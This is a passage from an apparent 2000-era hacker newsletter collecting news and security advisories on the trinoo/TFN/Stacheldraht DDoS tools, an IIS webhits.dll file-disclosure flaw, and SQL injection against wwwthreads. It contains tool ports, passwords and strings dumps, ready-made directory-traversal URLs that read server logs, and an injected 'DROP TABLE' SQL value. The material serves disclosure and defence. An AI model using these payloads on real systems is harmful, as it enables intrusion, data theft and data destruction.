closed down the repeater site for some time and caused unknown harassing
traffic to the 911 operators fielding the bogus calls.
The pirate is not totally safe however. much like Kevin was apprehended by
Tsutomu thru lax use of his cellphone and some radio direction finding gear
(RDF) so can the 2m pirate be tracked through RDF triangulation, several
grass roots groups do nothing but track down pirate signals or sometimes for
competition, random placed signals, in what is known as the 'Fox Hunt'. But
this requires lots of manpower and the willingness to get out there and help
do some tracking.
Epilogue
I truly hope Kevin is allowed to get back into one of his lifetime loves but
he may find that there are too many caveats with new features and computer
integration into the repeater systems, mailboxes and the like are common place
on repeaters, and so are email gateways, so it is conceivable that one could
inadvertantly get into trouble through the grey lines of technology....
Meanwhile, all the best to Kevin and his family, and hopefully you learned a
little bit about amateur radio's offerings along the way, peace out.
Cruciphux
cruciphux@dok.org
Editor HWA.hax0r.news newsletter.
http://welcome.to/HWA.hax0r.news/
Further reading:
http://www.arrl.org - The main site of the American Radio Relay League
http://www.qrz.com/ - If you know the callsign of the operator his docs are
published publically in a database which can be searched
online here. Also contains other info and links.
http://www.freekevin.com/ - You know, like more info than you need on KDM.
@HWA
08.0 Distrubuted Attacks on the rise. TFN and Trinoo.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CMP Techweb : http://www.techweb.com/wire/story/TWB19991130S0010
Intruders Get Under A Network's
Skin
(11/30/99, 5:40 p.m. ET) By Rutrell Yasin, InternetWeek
A rise in rogue distributed denial of service
tools being installed on networks by intruders
has prompted the Computer Emergency
Response Team (CERT) Coordination Center
to help companies thwart the large coordinated
packet flooding attacks.
CERT, a watchguard organization, has issued an
advisory on two tools--trinoo and Tribe Flood Network
(TFN)--after receiving reports from organizations
affected by the tools.
The tools "appear to be undergoing active development,
testing, and deployment on the Internet," according to a
CERT incident note.
So far, the tools have been installed on thousands of
servers or workstations in about 100 enterprise sites, said
Kevin Houle, CERT's incident response team leader.
While the type of packet flooding attacks the tools
generate are not new, the scope of the attacks can have
a devastating impact on an enterprise network, industry
experts and IT managers agreed.
Both trinoo and TFN enable an intruder to launch
coordinated attacks from many sources against one or
more targets. In essence, the tools use bandwidth from
multiple systems on diverse networks to generate potent
attacks.
The tools "can generate very large denial of service
attacks that consume as much as one gigabyte of data
per second," said Houle. To put that in perspective:
Rather than using one BB gun to hit a target, a hacker
now has the equivalent of 1,000 BB guns, Houle said.
Or the effects can be more like a shotgun, said Mike
Hagger, vice president of security at Oppenheimer
Funds. These tools can "be deadly and can bring a
company to its knees in a matter of seconds," Hagger
said.
These rogue distributed tools are usually installed on host
servers that have been compromised by exploiting known
security holes, such as various Remote Procedural Call
vulnerabilities, according to CERT.
Trinoo is used to launch coordinated UDP flood attacks
from many sources. A trinoo network consists of a small
number of servers and a large number of clients. To
initiate an attack, an intruder connects to a trinoo server
and instructs it to launch an attack against one or more
IP addresses. The trinoo server then communicates with
the clients, giving them instructions to attack one or more
IP addresses for a specified period of time, CERT said.
In addition to UDP flood attacks, TFN can generate
TCP SYN flood, ICMPecho request flood, and ICMP
directed broadcasts or smurf attacks. The tool can
generate packets with spoofed source IP addresses. To
launch an attack with TFN, an intruder instructs a client
or server program to send attack instructions to a list of
TFN servers or clients.
In its alert, CERT has issued a number of steps IT
managers can take to thwart distributed denial of service
attacks. To prevent installation of distributed attack tools
on networked systems, users should stay up to date with
security patches to operating systems and applications
software.
IT managers should also continuously monitor their
networks for signature of distributed attack tools. For
example, if a company uses intrusion detection systems,
IT should tune it to recognize signs of trinoo or TFN
activity.
Since a site under attack may be unable to communicate
via the Internet during an attack, security policies should
include "out of the band communications with upstream
network operators or emergency response teams,"
CERT advised.
@HWA
CERT Advisory:
http://www.cert.org/incident_notes/IN-99-07.html
CERT® Incident Note IN-99-07
The CERT Coordination Center publishes incident notes to provide
information about incidents to the Internet community.
Distributed Denial of Service Tools
Updated: December 8, 1999 (added DSIT Workshop paper and IN-99-05)
Thursday, November 18, 1999
Overview
We have received reports of intruders installing distributed denial of
service tools. Tools we have encountered utilize distributed technology
to create large networks of hosts capable of launching large coordinated
packet flooding denial of service attacks.
We have seen distributed tools installed on hosts that have been
compromised due to exploitation of known vulnerabilities. In particular,
we have seen vulnerabilities in various RPC services exploited. For more
information see the following CERT Incident Notes:
IN-99-04, Similar Attacks Using Various RPC Services
IN-99-05, Systems Compromised Through a Vulnerability in am-utils
Two of the tools we have seen are known as trinoo (or trin00) and tribe
flood network (or TFN). These tools appear to be undergoing active
development, testing, and deployment on the Internet.
Descriptions
Trinoo
Tribe Flood Network
Trinoo
Trinoo is a distributed tool used to launch coordinated UDP flood denial
of service attacks from many sources. For more information about various
UDP flood attacks, please see CERT Advisory CA-96.01. A trinoo network
consists of a small number of servers, or masters, and a large number of
clients, or daemons.
A denial of service attack utilizing a trinoo network is carried out by
an intruder connecting to a trinoo master and instructing that master to
launch a denial of service attack against one or more IP addresses. The
trinoo master then communicates with the daemons giving instructions to
attack one or more IP addresses for a specified period of time.
1.intruder -------> master; destination port 27665/tcp
2.master -------> daemons; destination port 27444/udp
3.daemons -------> UDP flood to target with randomized destination ports
The binary for the trinoo daemon contains IP addresses for one or more
trinoo master. When the trinoo daemon is executed, the daemon announces
it's availability by sending a UDP packet containing the string "*HELLO*"
to it's programmed trinoo master IP addresses.
daemon -------> masters; destination port 31335/udp
The trinoo master stores a list of known daemons in an encrypted file
named "..." in the same directory as the master binary. The trinoo master
can be instructed to send a broadcast request to all known daemons to
confirm availability.
Daemons receiving the broadcast respond to the master with a UDP packet
containing the string "PONG".
1.intruder -------> master; destination port 27665/tcp
2.master -------> daemons; destination port 27444/udp
3.daemons -------> master; destination port 31335/udp
All communications to the master on port 27665/tcp require a password,
which is stored in the daemon binary in encrypted form. All communications
with the daemon on port 27444/udp require the UDP packet to contain the
string "l44" (that's a lowercase L, not a one).
The source IP addresses of the packets in a trinoo-generated UDP flood
attack are not spoofed in versions of the tool we have seen. Future
versions of the tool could implement IP source address spoofing.
Regardless, a trinoo-generated denial of service attack will most likely
appear to come from a large number of different source addresses.
We have seen trinoo daemons installed under a variety of different names,
but most commonly as
ns
http
rpc.trinoo
rpc.listen
trinix
rpc.irix
irix
Running strings against the daemon and master binaries produces output
similar to this (we have replaced master IP address references in the
daemon binary with X.X.X.X)
trinoo daemon
trinoo master
socket ---v
bind v1.07d2+f3+c
recvfrom trinoo %s
%s %s %s l44adsl
aIf3YWfOhw.V. sock
PONG 0nm1VNMXqRMyM
*HELLO* 15:08:41
X.X.X.X Aug 16 1999
X.X.X.X trinoo %s [%s:%s]
X.X.X.X bind
read
*HELLO*
... rest omitted ...
Tribe Flood Network
TFN, much like Trinoo, is a distributed tool used to launch coordinated
denial of service attacks from many sources against one or more targets.
In additional to being able to generate UDP flood attacks, a TFN network
can also generate TCP SYN flood, ICMP echo request flood, and ICMP
directed broadcast (e.g., smurf) denial of service attacks. TFN has
the capability to generate packets with spoofed source IP addresses.
Please see the following CERT Advisories for more information about
these types of denial of service attacks.
CA-96.01, TCP SYN Flooding and IP Spoofing Attacks
CA-98.01, "smurf" IP Denial of Service Attacks
A denial of service attack utilizing a TFN network is carried out by an
intruder instructing a client, or master, program to send attack
instructions to a list of TFN servers, or daemons. The daemons then
generate the specified type of denial of service attack against one
or more target IP addresses. Source IP addresses and source ports can
be randomized, and packet sizes can be altered.
A TFN master is executed from the command line to send commands to TFN
daemons. The master communicates with the daemons using ICMP echo reply
packets with 16 bit binary values embedded in the ID field, and any
arguments embedded in the data portion of packet. The binary values,
which are definable at compile time, represent the various instructions
sent between TFN masters and daemons.
Use of the TFN master requires an intruder-supplied list of IP addresses
for the daemons. Some reports indicate recent versions of TFN master may
use blowfish encryption to conceal the list of daemon IP addresses.
Reports also indicate that TFN may have remote file copy (e.g., rcp)
functionality, perhaps for use for automated deployment of new TFN
daemons and/or software version updating in existing TFN networks.
We have seen TFN daemons installed on systems using the filename td.
Running strings on the TFN daemon binary produces output similar to this.
%d.%d.%d.%d
ICMP
Error sending syn packet.
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
rm -rf %s
ttymon
rcp %s@%s:sol.bin %s
nohup ./%s
X.X.X.X
X.X.X.X
lpsched
sicken
in.telne
Solutions
Distributed attack tools leverage bandwidth from multiple systems on
diverse networks to produce very potent denial of service attacks. To
a victim, an attack may appear to come from many different source
addresses, whether or not IP source address spoofing is employed by
the attacker. Responding to a distributed attack requires a high degree
of communication between Internet sites. Prevention is not straight
forward because of the interdependency of site security on the Internet;
the tools are typically installed on compromised systems that are outside
of the administrative control of eventual denial of service attack targets.
There are some basic suggestions we can make regarding distributed denial
of service attacks:
Prevent installation of distributed attack tools on your systems
Remain current with security-related patches to operating systems and
applications software. Follow security best-practices when administrating
networks and systems.
Prevent origination of IP packets with spoofed source addresses
For a discussion of network ingress filtering, refer to RFC 2267, Network
Ingress Filtering: Defeating Denial of Service Attacks which employ IP
Source Address Spoofing
Monitor your network for signatures of distributed attack tools
Sites using intrusion detection systems (e.g., IDS) may wish to establish
patterns to look for that might indicate trinoo or TFN activity based on
the communications between master and daemon portions of the tools. Sites
who use pro-active network scanning may wish to include tests for installed
daemons and/or masters when scanning systems on your network.
if you find a distributed attack tool on your systems
It is important to determine the role of the tools installed on your system.
The piece you find may provide information that is useful in locating and
disabling other parts of distributed attack networks. We encourage you to
identify and contact other sites involved.
If you are involved in a denial of service attack
Due to the potential magnitude of denial of service attacks generated by
distributed networks of tools, the target of an attack may be unable to
rely on Internet connectivity for communications during an attack. Be
sure your security policy includes emergency out-of-band communications
procedures with upstream network operators or emergency response teams
in the event of a debilitating attack.
In November 1999, experts addressed issues surrounding distributed-systems
intruder tools. The DSIT Workshop produced a paper where workshop
participants examine the use of distributed-system intruder tools and provide
information about protecting systems from attack by the tools, detecting the
use of the tools, and responding to attacks.
Results of the Distributed-Systems Intruder Tools Workshop
Acknowledgments
The CERT/CC would like to acknowledge and thank our constituency and our
peers for important contributions to the information used in this Incident
Note.
This document is available from:
http://www.cert.org/incident_notes/IN-99-07.html
Articles of interest:
Characterizing and Tracing Packet Floods Using Cisco Routers
http://www.cisco.com/warp/public/707/22.html
Improving Security on Cisco Routers
http://www.cisco.com/warp/public/707/21.html
Internet Security Advisories:
http://www.cisco.com/warp/public/707/advisory.html
Additional info, ISS advisory on Trinoo/Tribe variants:
-----BEGIN PGP SIGNED MESSAGE-----
ISS Security Alert
February 9, 2000
Denial of Service Attack using the TFN2K and Stacheldraht programs
Synopsis:
A new form of Distributed Denial of Service (DDoS) attack has been
discovered following the release of the trin00 and Tribe Flood Network (TFN)
denial of service programs (see December 7, 1999 ISS Security Alert at
http://xforce.iss.net/alerts/advise40.php3). These attacks are more powerful
than any previous denial of service attack observed on the Internet. A
Distributed Denial of Service attack is designed to bring a network down by
flooding target machines with large amounts of traffic. This traffic can
originate from many compromised machines, and can be managed remotely using
a client program. ISS X-Force considers this attack a high risk since it can
potentially impact a large number of organizations. DDoS attacks have proven
to be successful and are difficult to defend against.
Description:
Over the last two months, several high-capacity commercial and educational
networks have been affected by DDoS attacks. In addition to the trin00 and
TFN attacks, two additional tools are currently being used to implement this
attack: TFN2K and Stacheldraht. Both of these tools are based on the
original TFN/trin00 attacks described in the December ISS Security Alert.
Attackers can install one of these DDoS programs (trin00, TFN, TFN2K, or
Stacheldraht) on hundreds of compromised machines and direct this network of
machines to initiate an attack against single or multiple victims. This
attack occurs simultaneously from these machines, making it more dangerous
than any DoS attack launched from a single machine.
Technical Information:
TFN2K:
The TFN2K distributed denial of service system consists of a client/server
architecture.
The Client:
The client is used to connect to master servers, which can then perform
specified attacks against one or more victim machines. Commands are sent
from the client to the master server within the data fields of ICMP, UDP,
and TCP packets. The data fields are encrypted using the CAST algorithm and
base64 encoded. The client can specify the use of random TCP/UDP port
numbers and source IP addresses. The system can also send out "decoy"
packets to non-target machines. These factors make TFN2K more difficult to
detect than the original TFN program.
The Master Server:
The master server parses all UDP, TCP, and ICMP echo reply packets for
encrypted commands. The master server does not use a default password when
it is selected by the user at compile time.
The Attack:
The TFN2K client can be used to send various commands to the master for
execution, including commands to flood a target machine or set of target
machines within a specified address range. The client can send commands
using UDP, SYN, ICMP echo, and ICMP broadcast packets. These flood attacks
cause the target machine to slow down because of the processing required to
handle the incoming packets, leaving little or no network bandwidth.
Possible methods for detection of these flooding attacks are recommended in
the TFN/trin00 December 7, 1999 ISS Security Alert. TFN2K can also be used
to execute remote commands on the master server and bind shells to a
specified TCP port.
TFN2K runs on Linux, Solaris, and Windows platforms.
Stacheldraht (Barbed Wire):
Stacheldraht consists of three parts: the master server, client, and agent
programs.
The Client:
The client is used to connect to the master server on port 16660 or port
60001. Packet contents are blowfish encrypted using the default password
"sicken", which can be changed by editing the Stacheldraht source code.
After entering the password, an attacker can use the client to manage
Stacheldraht agents, IP addresses of attack victims, lists of master
servers, and to perform DoS attacks against specified machines.
The Master Server:
The master server handles all communication between client and agent
programs. It listens for connections from the client on port 16660 or 60001.
When a client connects to the master, the master waits for the password
before returning information about agent programs to the client and
processing commands from the client.
The Agent:
The agent listens for commands from master servers on port 65000. In
addition to this port, master server/agent communications are also managed
using ICMP echo reply packets. These packets are transmitted and replied to
periodically. They contain specific values in the ID field (such as 666,
667, 668, and 669) and corresponding plaintext strings in the data fields
(including "skillz", "ficken", and "spoofworks"). The ICMP packets act as a
"heartbeat" between agent and master server, and to determine source IP
spoofing capabilities of the master server. The agent identifies master
servers using an internal address list, and an external encrypted file
containing master server IP addresses. Agents can be directed to "upgrade"
themselves by downloading a fresh copy of the agent program and deleting the
old image as well as accepting commands to execute flood attacks against
target machines.
The Attack:
Like TFN/TFN2K, Stacheldraht can be used to perform ICMP, SYN, and UDP flood
attacks. The attacks can run for a specified duration, and SYN floods can be
directed to a set of specified ports. These flood attacks cause the target
machine to slow down because of the processing required to handle the
incoming packets, leaving little or no network bandwidth. Possible methods
for detection of these flooding attacks are discussed in the TFN/trin00 ISS
Security Alert published December 7, 1999.
Stacheldraht runs on Linux and Solaris machines.
Detecting TFN2K/Stacheldraht related attacks:
ISS SAFEsuite intrusion detection solution, RealSecure, detects the Denial
of Service attacks that these distributed tools use, providing early warning
and response capabilities. RealSecure can reconfigure firewalls and routers
to block the traffic. On some firewalls this can be as granular as blocking
a particular service or protocol port. In conjunction with the December 7,
1999 ISS Security Alert, RealSecure 3.2.1 included signatures to detect the
communications between the distributed components of TFN and trin00.
RealSecure will add signatures to detect TFN2K and Stacheldraht in its next
release, which will also include an X-press Update capability to speed
future signature deployment.
Additional Information:
ISS worked in coordination with CERT, SANS, and the NIPC. The following is
additional information regarding these DDoS attacks:
- - Advisory CA-2000-01 Denial-of-Service Developments
http://www.cert.org/advisories/CA-2000-01.html
- - SANS Network Security Digest Vol. 4 No. 1 - January 17, 2000
- - http://www.fbi.gov/nipc/trinoo.htm
- - http://staff.washington.edu/dittrich/misc/stacheldraht.analysis
About ISS
ISS is a leading global provider of security management solutions for
e-business. By offering best-of-breed SAFEsuite(tm) security software,
comprehensive ePatrol(tm) monitoring services, and industry-leading
expertise, ISS serves as its customers' trusted security provider protecting
digital assets and ensuring the availability, confidentiality and integrity
of computer systems and information critical to e-business success. ISS'
security management solutions protect more than 5,000 customers including 21
of the 25 largest U.S. commercial banks, 9 of the 10 largest
telecommunications companies and over 35 government agencies. Founded in
1994, ISS is headquartered in Atlanta, GA, with additional offices
throughout North America and international operations in Asia, Australia,
Europe and Latin America. For more information, visit the ISS Web site at
www.iss.net or call 888-901-7477.
Copyright (c) 2000 by Internet Security Systems, Inc.
Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express consent of
the X-Force. If you wish to reprint the whole or any part of this Alert in
any other medium excluding electronic medium, please e-mail xforce@iss.net
for permission.
Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.
X-Force PGP Key available at: http://xforce.iss.net/sensitive.php3 as well
as on MIT's PGP key server and PGP.com's key server.
Please send suggestions, updates, and comments to: X-Force xforce@iss.net of
Internet Security Systems, Inc.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv
iQCVAwUBOKHygjRfJiV99eG9AQGLhQP+L2H4KNHtP2Tl9YT3P5OIkbSrIszC8lW/
iDM8+6wkz0POcjNDXNHNDpVb203Yv+tjdBu/q6cP7QYVeZ9PUElUfXcN6a4bJTpH
OOaARlvyPRFiArxvFgdIbypsFhTWxc4blJOMb8rbBZgzEa7pZiBzZQibN54l3E1A
vg77CCVq3W8=
=sMAK
-----END PGP SIGNATURE-----
@HWA
09.0 Teen charged with hacking
~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.mercurycenter.com/svtech/news/indepth/docs/hacker012700.htm
Student charged with hacking
Fugitive: Prosecutors say he broke into Palo Alto firm, then fled to
Bulgaria.
BY HOWARD MINTZ Mercury News Staff Writer
A federal grand jury in San Jose on Wednesday indicted a former Princeton
University student suspected of hacking into the computer system of a Palo
Alto e-commerce company and stealing nearly 2,000 credit card numbers.
In the government's latest attempt to hunt down a computer hacker, federal
prosecutors brought charges against Peter Iliev Pentchev, a 22-year-old
native of Bulgaria who is believed to have fled the United States after
school officials confronted him about his computer activities.
According to the U.S. Attorney's office in San Jose, Pentchev left the
country in late 1998, shortly after the alleged hacking incident occurred.
Law enforcement officials believe Pentchev went to Bulgaria and were
unclear Wednesday what diplomatic obstacles there may be to returning him
to this country to face charges.
The four-count indictment charges Pentchev with violating federal computer
laws by hacking into an undisclosed Palo Alto company between Nov. 20 and
Dec. 19, 1998, stealing at least 1,800 credit card numbers, as well as
user names and passwords of that company's customers. The indictment does
not specify the company, and federal officials declined to name it.
But Assistant U.S. Attorney Mavis Lee, who is prosecuting the case, said
the hacking incident shut down one of the company's Web servers for five
days and caused enough chaos in its database that it cost the firm more
than $100,000 to restore its security system.
Authorities have no evidence that Pentchev used the credit card numbers to
commit fraud.
Federal law-enforcement officials do not believe there is a link between
Pentchev and a computer intruder who earlier this month attempted to
extort $100,000 from Internet music retailer CD Universe, claiming to have
stolen as many as 300,000 credit card numbers. The alleged extortionist
was suspected of operating somewhere in Eastern Europe.
That hacker began posting more than 25,000 allegedly stolen card numbers
on a web site Christmas Day. The site eventually was shut down, and
thousands of customers who had shopped at CD Universe canceled their
cards.
In the Bay Area case, investigators said they were able to trace the
computer intrusion to Pentchev because he left evidence in log files in
the company's computer system. ``He wasn't careful about mopping up after
himself,'' Lee said.
Princeton University officials confronted Pentchev about the allegations
in December 1998, and he disappeared shortly thereafter. If convicted,
Pentchev faces a maximum penalty of 17 years in prison.
Contact Howard Mintz at hmintz@sjmercury.com or (408) 286-0236.
@HWA
10.0 Major security flaw found on Microsoft product
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exclusive: Major security flaw hits Microsoft
http://www.zdnet.co.uk/news/2000/3/ns-12942.html
Thu, 27 Jan 2000 17:03:47 GMT
Will Knight
More embarrassment for Microsoft security as yet another
flaw is discovered. Will Knight brings you this exclusive
report
A British security expert claims to have uncovered a major
security flaw in Microsoft's Web server software, Internet
Information Server 4 (IIS).
David Litchfield a Windows NT specialist with British firm
Cerberus Information Security, says the latest exploit against a
Microsoft product allows a malicious hacker to gain unauthorised
access to sensitive files, including cached or stored credit card
details, address information, user IDs and passwords. Of most
concern is the way these details can be seized: typing a simple
URL into any browser makes it possible to gain access to files on
Web servers running IIS, that have not been specifically
configured to disable the exploit.
According to Litchfield, the situation is serious. "It takes no
expertise [to use this technique] at all. It's so easy to exploit, I dare
not give out a specific example. It would just fall into the hands of
script kiddies [a copycat who uses someone else's techniques to
hack a system]." ZDNet UK News has a copy of the exploit
technique.
Thousands of e-commerce Web sites use IIS prompting Litchfield
to warn a number of high profile UK e-commerce sites he
believed were vulnerable.
Last year Microsoft suffered a major PR blow when its Hotmail
service -- the world's leading Web based email service -- was left
open to attack by a similarly simple hacking technique. But it is not
just Microsoft's products that are vulnerable to attack: there have
been several security breaches of high-profile e-commerce Web
sites illustrating the precarious nature of the fledgling technology.
Visa, for example, recently confirmed receiving ransom demands
from individuals claiming to be able to bring down their computer
system. E-commerce Web site CDUniverse was also struck by a
computer hacker who stole hundreds of credit card numbers and
published them on the Internet.
Mark Tennant, Microsoft product manager for NT Server told
ZDNet UK News, Thursday that although Microsoft products had
made headlines recently for its security flaws, it was to be
expected. "This product is a mainstream product with millions of
users, obviously with that many users flaws are more likely to be
picked up." Ostensibly that might be true, but to observers, those
who see Microsoft products hacked time and again, isn't it a
worrying pattern?
Tennant disagrees and drew comparisons with Linux "which
doesn't have millions of users so you therefore don't hear of this
type of issue". He added: "Microsoft is completely committed to
security." Asked if that commitment could guarantee Windows
2000 -- NT's big brother due next month -- would not suffer the
same sort of security flaws as its predecessor Tennant said: "I
cannot predict what could happen a month down a line... but we
are committed to security."
Litchfield suggests the pressure put on organisations to get online,
by both government and software houses has led to companies
leaving themselves wide open to computer criminals. "The World
Wide Web is a hacker's paradise," he remarks. "The lure of
e-commerce as an effective channel to further promote a business
and fuel its success has led to too many companies getting
'connected' too quickly, sacrificing security for speed."
Security consultant Neil Barrett from another security firm, UK
Information Risk Management, agrees: "The Holy Grail to any
hacker is the remote access exploit. In the past problems with IIS
have mainly been denial of service. If this exploit does what it says
it does, it's down to how well credit card details are protected on
a system which we know from experience is not very well at all."
As a first defence Barrett advises either an intrusion detection
system or encryption or ideally "both".
Full details of the exploit are available from the Cerberus Web site
at this address:http://www.cerberus-infosec.co.uk/adviishtw.html
and a patch for Internet Information Server 4 may be downloaded
from the Microsoft security home page.
What do you think? Tell the Mailroom. And read what
others have said.
@HWA
11.0 Cerberus Information Security Advisory (CISADV000126)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Source: win2k security list
Date: Jan 26th
Cerberus Information Security Advisory (CISADV000126)
http://www.cerberus-infosec.co.uk/advisories.html
Released : 26th January 2000
Name : Webhits.dll buffer truncation
Affected Systems: Microsoft Windows NT 4 running Internet Information
Server 4 All service Packs
Issue : Attackers can access files outside of the web virtual
directory system and view ASP source
Author : David Litchfield (mnemonix@globalnet.co.uk)
Microsoft Advisory :
http://www.microsoft.com/technet/security/bulletin/ms00-006.asp
Internet Information Server 4.0 ships with an ISAPI application webhits.dll
that provides hit-highlighting functionality for Index Server. Files that
have the extention .htw are dispatched by webhits.dll.
A vulnerability exists in webhits however that allows an attacker to break
out
of the web virtual root file system and gain unathorized access to
other files on the same logical disk drive, such as customer databases,
log files or any file they know or can ascertain the path to. The same
vulnerability can be used to obtain the source of Active Server Pages or
any other server side script file which often contain UserIDs and
passwords as well as other sensitive information.
*** WARNING ****
Even if you have no .htw files on your system you're probably
still vulnerable! A quick test to show if you are vulnerable:
go to http://YOUR_WEB_SERVER_ADDRESS_HERE/nosuchfile.htw
If you receive a message stating the "format of the QUERY_STRING
is invalid" you _are_ vulnerable. Cerberus Information Security's
free vulnerability scanner - CIS - now contains a check for this
issue - available from the website http://www.cerberus-infosec.co.uk/
*** WARNING ****
Details
*******
This vulnerability exploits two problems and for the sake of clarity
this section will be spilt into two.
1) If you DO have .htw files on your system
****************************************
The hit-highlighting functionality provided by Index Server allows
a web user to have a document returned with their original search
terms highlighted on the page. The name of the document is passed
to the .htw file with the CiWebHitsFile argument. webhits.dll,
the ISAPI application that deals with the request, opens the file
highlights accordingly and returns the resulting page. Because
the user has control of the CiWebHitsFile argument passed to the
.htw file they can request pretty much anything they want. A secondary
problem to this is the source of ASP and other scripted pages can
be revealed too.
However, webhits.dll will follow double dots and so an attacker is able
to gain access to files outside of the web virtual root.
For example to view the web access logs for a given day the attacker would
build the following URL
http://charon/iissamples/issamples/oop/qfullhit.htw?CiWebHitsFile=/../../win
nt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Ful
l
Sample .htw files often installed and left on the system are
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iishelp/iis/misc/iirturnh.htw (this .htw is normally restricted to
loopback)
2) If you DON'T have any .htw files on your system
**************************************************
To invoke the webhits.dll ISAPI application a request needs to be made
to a .htw file but if you don't have any on your web server you might wonder
why you are still vulnerable - requesting a non-existent .htw file will
fail.
The trick is to be able to get inetinfo.exe to invoke webhits.dll but
then also get webhits.dll to access an existing file. We achevie this
by crafting a special URL.
First we need a valid resource. This must be a static file such as a .htm,
.html, .txt or even a .gif or a .jpg. This will be the file opened by
webhits.dll as the template file.
Now we need to get inetinfo.exe to pass it along to webhits for dispatch and
the only way we can do this is by requesting a .htw file.
http://charon/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w
3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
will fail. Obviously. There is no such file on the system with that name.
Notice we've now invoked webhits, however, and by placing a specific number
of spaces (%20s) between the exisiting resource and the .htw it is then
possible to trick the web service: The buffer that holds the name of the
.htw
file to open is truncated, causing the .htw part to be removed and therefore
when it comes to webhits.dll attempting to open the file it succeeds and we
are then returned the contents of the file we want to access without there
actually being a real .htw file on the system.
The code is probably doing something similar to this:
FILE *fd;
int DoesTemplateExist(char *pathtohtwfile)
{
// Just in case inetinfo.exe passes too long a string
// let's make sure it's of a suitable length and not
// going to open a buffer overrun vulnerability
char *file;
file = (char *)malloc(250);
strncpy(file,pathtohtwfile,250);
fd = fopen(file,"r");
// Success
if(fd !=NULL)
{
return 1;
}
// failed
else
{
return 0;
}
}
Here webhits.dll "contains" a function called DoesTemplateExist() and is
passed
a pointer to a 260 byte long string buffer containing the path to the .htw
file
to open but this buffer is further reduced in length by the strncpy()
function
removing whatever was stored in the last ten bytes (in this case the .htw of
the
HTTP REQUEST_URI) so when fopen() is called it succeeds. This happens
because
Windows NT will ignore trailing spaces in a file name.
Solution
********
.htw needs to be unassociated from webhits.dll
To do this open the Internet Server Manager (MMC). In the left hand pane
right click the computer you wish to administer and from the menu that pops
up choose Properties.
From the Master Properties select the WWW Service and then click Edit. The
WWW Service Master properties window should open. From here click on the
Home Directory tab and then click the Configuration button. You should
be presented with an App Mappings tab in the Application Mappings window.
Find the .htw extention and then highlight it then click on remove. If a
confirmation
window pops up selected Yes to remove. Finally click on Apply and select
all of the child nodes this should apply to and then OK that. Now close all
of the WWW Service property windows.
About Cerberus Information Security, Ltd
****************************************
Cerberus Information Security, Ltd, a UK company, are specialists in
penetration testing and other
security auditing services. They are the developers of CIS (Cerberus'
Internet
security scanner) available for free from their website:
http://www.cerberus-infosec.co.uk
To ensure that the Cerberus Security Team remains one of the strongest
security audit teams available globally
they continually research operating system and popular service software
vulnerabilites
leading to the dicovery "world first" issues. This not only keeps the team
sharp
but also helps the industry and vendors as a whole ultimately protecting the
end consumer.
As testimony to their ability and expertise one just has to look at exactly
how many major
vulnerabilities have been discovered by the Cerberus Security Team - over 40
to date,
making them a clear leader of companies offering such security services.
Founded in late 1999, by Mark and David Litchfield, Cerberus Information
Security, Ltd
are located in London, UK but serves customers across the World. For more
information
about Cerberus Information Security, Ltd please visit their website or call
on
+44(0) 181 661 7405
Permission is hereby granted to copy or redistribute this advisory but only
in its entirety.
Copyright (C) 2000 by Cerberus Information Security, Ltd
_____________________________________________________________________
** TO UNSUBSCRIBE, send the command "UNSUBSCRIBE win2ksecadvice"
** FOR A WEEKLY DIGEST, send the command "SET win2ksecadvice DIGEST"
SEND ALL COMMANDS TO: listserv@listserv.ntsecurity.net
@HWA
12.0 "How I hacked Packetstorm Security" by Rainforest Puppy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-- Advisory RFP2K01 ------------------------------ rfp.labs ------------
"How I hacked PacketStorm"
A look at hacking wwwthreads via SQL
------------------------------- rain forest puppy / rfp@wiretrip.net ---
Table of contents:
-1. Scope of problem
-2. Long explaination of SQL hacking
-3. Solution
-4. Conclusion
-5. Included perl scripts
------------------------------------------------------------------------
----[ 1. Scope of problem
Many applications are vulnerable to various forms of SQL hacking. While
programs know they should avoid strcpy() and giving user data to a
system() call, many are unaware of how SQL queries can be tampered with.
This is more of a technical paper than an advisory, but it does explain
how I used a vulnerability in the wwwthreads package to gain
administrative access and some 800 passwords to PacketStorm's discussion
forum.
----[ 2. Long explaination of SQL hacking
As with any other day, I was surfing around the PacketStorm forums, which
use wwwthreads. The URL parameters (the cruft after the '?' in an URL) of
the forums started catching my eye. Being the web security puppy I am, I
started getting curious. So using an ultra-insightful hacking technique,
I changed the 'Board=general' parameter to read 'Board=rfp' used with the
showpost.pl script. Lo and behold I get the following error given to me:
We cannot complete your request. The reason reported was:
Can't execute query:
SELECT B_Main,B_Last_Post
FROM rfp
WHERE B_Number=1
. Reason: Table 'WWWThreads.rfp' doesn't exist
Seeing there's also a 'Number=1' parameter, we can figure this query can
be reconstructed as
SELECT B_Main,B_Last_Post FROM $Board WHERE B_Number=$Number
Now, if any of you have read my phrack 54 article (the SQL appension part,
available at http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2) you can
see where I'm going. We can not only substitute a $Board name and
$Number, but also extra SQL commands. Imagine if $Board were to equal
'general; DROP TABLE general; SELECT * FROM general ' This would translate
into
SELECT B_Main,B_Last_Post FROM general; DROP TABLE general;
SELECT * FROM general WHERE B_Number=$Number
Now the ';' is generic for ending a command. Normally we could use a '#'
for mySQL to ignore everything else on the line; however, the 'FROM'
clause is on a separate line than the 'WHERE' clause, so mySQL won't
ignore it. Considering that invalid SQL will cause mySQL to not run any
commands, we at least need to give a valid command string to parse...in
